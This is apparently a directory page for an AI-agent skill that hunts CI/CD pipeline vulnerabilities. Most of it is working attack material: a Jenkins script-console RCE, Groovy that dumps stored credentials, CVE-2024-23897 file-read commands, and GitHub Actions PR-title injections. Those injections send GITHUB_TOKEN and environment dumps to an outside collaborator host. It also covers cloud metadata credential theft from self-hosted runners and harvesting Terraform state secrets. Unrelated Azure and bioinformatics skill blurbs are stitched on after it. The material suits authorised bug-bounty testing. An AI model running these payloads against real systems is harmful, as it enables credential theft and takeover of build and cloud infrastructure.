Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), self-hosted runner poisoning, OIDC trust-policy abuse, Jenkins script-console RCE and CVE-2024-23897 file read, GitLab CI runner-token registration, Terraform state file leakage, artifact/log secret leakage, pipeline env-var disclosure. Use when target has a public GitHub/GitLab org, exposed CI dashboards (Jenkins/TeamCity/Drone/Argo), or build artifacts/images are reachable.
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-cicd
Jenkins /script console reachable = immediate RCE. A GitHub Actions pull_request_target (or workflow_run) workflow that checks out the PR head ref and references untrusted ${{ github.event.* }} in a shell run: = "Pwnrequest" → secret exfil from a fork PR with zero approval.
Highest-value findings:
@/etc/passwd arg expansion → read secret.key/credentials.xml → forge admin → RCEpull_request_target injection (Pwnrequest) — fork PR controls ${{ }} inside a privileged shell step → exfil GITHUB_TOKEN (often contents:write) and org secretssub claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role*.tfstate in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys::add-mask::CI/CD findings are over-reported because dashboards *look* exploitable. Before claiming anything:
/script URL that returns a Jenkins login or 403 is not an unauthenticated script console. Only an actual scriptText POST returning your command's output counts.pull_request_target workflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR..tfstate HTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) — many tfstate files contain only resource IDs and outputs, no secrets.# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done
Unauthenticated script console → RCE (only if the POST returns output):
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
--data-urlencode 'script=println "id".execute().text'
Dump the credential store (Groovy decrypts secrets the UI masks):
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.secret}"
}
CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI (args4j @-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading secret.key + master.key to decrypt credentials.xml, or reading a user's config.xml API token:
# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
# @/var/lib/jenkins/secret.key @/var/lib/jenkins/secrets/master.key
# @/var/lib/jenkins/credentials.xml
Validation: the response must contain real file content (root:x:0:0). A generic "no such agent" with no leaked line means the instance is patched or the path is wrong — not a finding.
${{ }}-into-Shell, Runner Poisoning, OIDCThere are two sink classes — they need different payloads:
${{ }} template expansion into a shell run: — the expression is substituted into the script *before* the shell runs, so a newline/backtick/$(...) in the untrusted field becomes literal shell. This is the classic injection.GITHUB_TOKEN, secrets.X, and any env:-mapped value are shell variables whose value IS the string. To exfiltrate them you use echo/printenv, never cat $VAR (that tries to open a file *named* by the token and prints nothing).# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target # runs with write token + secrets, on fork PRs
jobs:
build:
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} } # checks out ATTACKER code
- run: echo "Building PR ${{ github.event.pull_request.title }}" # ← ${{ }} INJECTION
Attack via the ${{ }} sink — set the PR title (or branch name, body, label, commit message — all attacker-controlled) to break out of the echo and run your own commands. Exfiltrate the token with printenv, not cat:
PR title: a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "
For a multi-line YAML run:, a newline injection is cleaner:
PR title: foo\n curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)
Attack via a poisoned checkout (no ${{ }} needed) — if pull_request_target checks out the PR head and then runs a build script / installs deps from the checked-out tree (make, npm ci with a malicious preinstall, a Makefile, a .github/ action in the PR), the *runner executes attacker code directly*. Drop into any build hook:
# in attacker's PR, e.g. package.json preinstall or Makefile:
curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0 # captures secrets injected as env
Self-hosted runner poisoning — if runs-on: self-hosted (or a custom label) on a public repo with pull_request/pull_request_target, a fork PR's job runs on the org's own host. Non-ephemeral runners persist tools/creds between jobs. Confirm by reading the runner's identity and metadata from inside the job:
- run: |
whoami; hostname; id
curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"
OIDC trust-policy abuse — workflows that configure-aws-credentials via OIDC assume an IAM role. A trust policy whose token.actions.githubusercontent.com:sub condition is missing or uses a loose wildcard (repo:ORG/*:*) lets any workflow in the org (including a malicious one you can merge, or a fork on a misconfigured trigger) assume that role. Inspect the role:
aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).
Then prove it: from a workflow you control in-org, assume the role and run aws sts get-caller-identity returning the privileged role ARN.
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
| jq -r '.data.organization.repositories.nodes[].name' | while read r; do
for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
echo "CANDIDATE: ORG/$r/$wf"
done
done
Triage candidates with the static analyzer before opening any PR: gh extension install rhysd/actionlint or run zizmor (pip install zizmor; zizmor .github/workflows/) which flags template-injection and dangerous-checkout patterns specifically.
# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done
# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'
Note actions/upload-artifact does not redact secrets — an artifact named env/debug is a common direct leak.
# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK" # masked? protected?
curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"
# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"
A registration token alone is not a finding unless the instance allows that token to register a runner that will execute a target project's pipeline. Demonstrate by registering an ephemeral runner you own and capturing a job's masked variables.
# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
"https://$ORG.s3.amazonaws.com/terraform.tfstate" \
"https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
"https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
"https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
"https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
[ "$code" = "200" ] && echo "[+] 200 $U" && \
jq -r '.resources[].instances[].attributes
| to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
| "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10
False-positive filter: a tfstate that lists only id, arn, tags is not a secret leak. Run the jq above and confirm at least one *live* credential (a real password, private_key, RDS master password, or non-rotated access key). Then prove impact by using that credential read-only (aws sts get-caller-identity, a DB connect that returns a banner) — do not just claim "creds in state."
docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified
--only-verified filters trufflehog to credentials it could actually authenticate — use it to drop the noise of expired/example keys before reporting.
pull_request_target class — GitHub Security Lab (Jaroslav Lobačevski), "Keeping your GitHub Actions and workflows secure: Untrusted input." The original write-up of fork-PR secret exfil and the dangerous-checkout pattern.set-env/add-path workflow commands allowed env/PATH injection from logged output; this drove the deprecation of those commands and the move to $GITHUB_ENV.@-prefixed file expansion (Jenkins ≤2.441 / LTS ≤2.426.2), read secret.key/credentials.xml → admin → RCE.groovy.lang.GroovyShell; a staple of the unauth script-execution chain on older Jenkins.${{ }}-into-run template-substitution vector; the basis of the actionlint/zizmor detection rules cited above.(Only CVEs and cases I can attribute exactly are listed. Confirm the running version against the CVE's affected range before claiming it.)
| CI/CD finding | Chain to | Impact |
|---|---|---|
| Jenkins anon script console | Dump credential store → cloud/DB creds → lateral | Critical |
| Jenkins CLI file read (CVE-2024-23897) | Read secret.key+credentials.xml → forge admin → RCE | Critical |
| Actions ${{ }} injection (Pwnrequest) | printenv GITHUB_TOKEN/secrets → push to protected branch | Critical |
| Self-hosted runner poisoning | Code-exec on runner host → IMDS creds → persistence | Critical |
| OIDC sub wildcard | AssumeRole privileged cloud role from any org workflow | Critical |
| Terraform state w/ live creds | Infra/DB/API credential use | Critical |
| GitLab runner registration | Register runner → capture pipeline secrets | High/Critical |
| Image/log/artifact secret | Direct credential use | High |
scriptText POST returns your id output (uid=…(jenkins)). A returned login/SSO/Crowd page = not anon access. Screenshot the request+response./etc/passwd content; confirm version is in range. Patched instances return an error with no leaked line.printenv//proc/self/environ decoded at your endpoint — never cat $GITHUB_TOKEN.aws sts get-caller-identity from your controlled workflow returns the privileged role ARN — not just a permissive-looking trust policy.jq extraction yields ≥1 *live* secret, then a read-only auth proves it. ID/ARN-only state = no finding.--only-verified, or a real API call) — possession of a string is not impact./script returning a login page (auth required) reported as "unauth RCE."pull_request_target present but untrusted input never reaches a sink (e.g., used only in if: on github.actor, or the workflow uses pull_request not _target).${{ }} reference that is already wrapped in an env: block and quoted in the shell (the recommended safe pattern) — not injectable..tfstate 200 containing only resource metadata.protected and only exposed to protected branches the attacker can't push to.Severity: Jenkins console / CVE-2024-23897 / Actions secret exfil / runner poisoning / OIDC role assumption / Terraform live creds = Critical. Image/log/artifact secret = High/Critical by credential scope.
Assess Kubernetes workloads and cluster configuration for AKS Automatic compatibility. Identifies incompatibilities, generates fixes, and guides migration from AKS Standard to AKS Automatic. WHEN: migrate to AKS Automatic, check AKS Automatic readiness, validate manifests for Automatic, assess cluster for Automatic compatibility, fix deployment for Automatic compatibility, identify AKS Automatic migration blockers, is my cluster ready for AKS Automatic.
Discovers available Azure OpenAI model capacity across regions and projects. Analyzes quota limits, compares availability, and recommends optimal deployment locations based on capacity requirements. USE FOR: find capacity, check quota, where can I deploy, capacity discovery, best region for capacity, multi-project capacity search, quota analysis, model availability, region comparison, check TPM availability. DO NOT USE FOR: actual deployment (hand off to preset or customize after discovery), quota increase requests (direct user to Azure Portal), listing existing deployments.
Interactive guided deployment flow for Azure OpenAI models with full customization control. Step-by-step selection of model version, SKU (GlobalStandard/Standard/ProvisionedManaged), capacity, RAI policy (content filter), and advanced options (dynamic quota, priority processing, spillover). USE FOR: custom deployment, customize model deployment, choose version, select SKU, set capacity, configure content filter, RAI policy, deployment options, detailed deployment, advanced deployment, PTU deployment, provisioned throughput. DO NOT USE FOR: quick deployment to optimal region (use preset).
Unified Azure OpenAI model deployment skill with intelligent intent-based routing. Handles quick preset deployments, fully customized deployments (version/SKU/capacity/RAI policy), and capacity discovery across regions and projects. USE FOR: deploy model, deploy gpt, create deployment, model deployment, deploy openai model, set up model, provision model, find capacity, check model availability, where can I deploy, best region for model, capacity analysis. DO NOT USE FOR: listing existing deployments (use foundry_models_deployments_list MCP tool), deleting deployments, agent creation (use agent/create), project creation (use project/create).
Intelligently deploys Azure OpenAI models to optimal regions by analyzing capacity across all available regions. Automatically checks current region first and shows alternatives if needed. USE FOR: quick deployment, optimal region, best region, automatic region selection, fast setup, multi-region capacity check, high availability deployment, deploy to best location. DO NOT USE FOR: custom SKU selection (use customize), specific version selection (use customize), custom capacity configuration (use customize), PTU deployments (use customize).
This skill should be used when working with LaminDB, an open-source data framework for biology that makes data queryable, traceable, reproducible, and FAIR. Use when managing biological datasets (scRNA-seq, spatial, flow cytometry, etc.), tracking computational workflows, curating and validating data with biological ontologies, building data lakehouses, or ensuring data lineage and reproducibility in biological research. Covers data management, annotation, ontologies (genes, cell types, diseases, tissues), schema validation, integrations with workflow managers (Nextflow, Snakemake) and MLOps platforms (W&B, MLflow), and deployment strategies.
Latch platform for bioinformatics workflows. Build pipelines with Latch SDK, @workflow/@task decorators, deploy serverless workflows, LatchFile/LatchDir, Nextflow/Snakemake integration.
Run Python code in the cloud with serverless containers, GPUs, and autoscaling. Use when deploying ML models, running batch processing jobs, scheduling compute-intensive tasks, or serving APIs that require GPU acceleration or dynamic scaling.
Take elementalsouls/hunt-cicd from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.
The instructions reference pip.
Without those the skill loads but fails at the first command.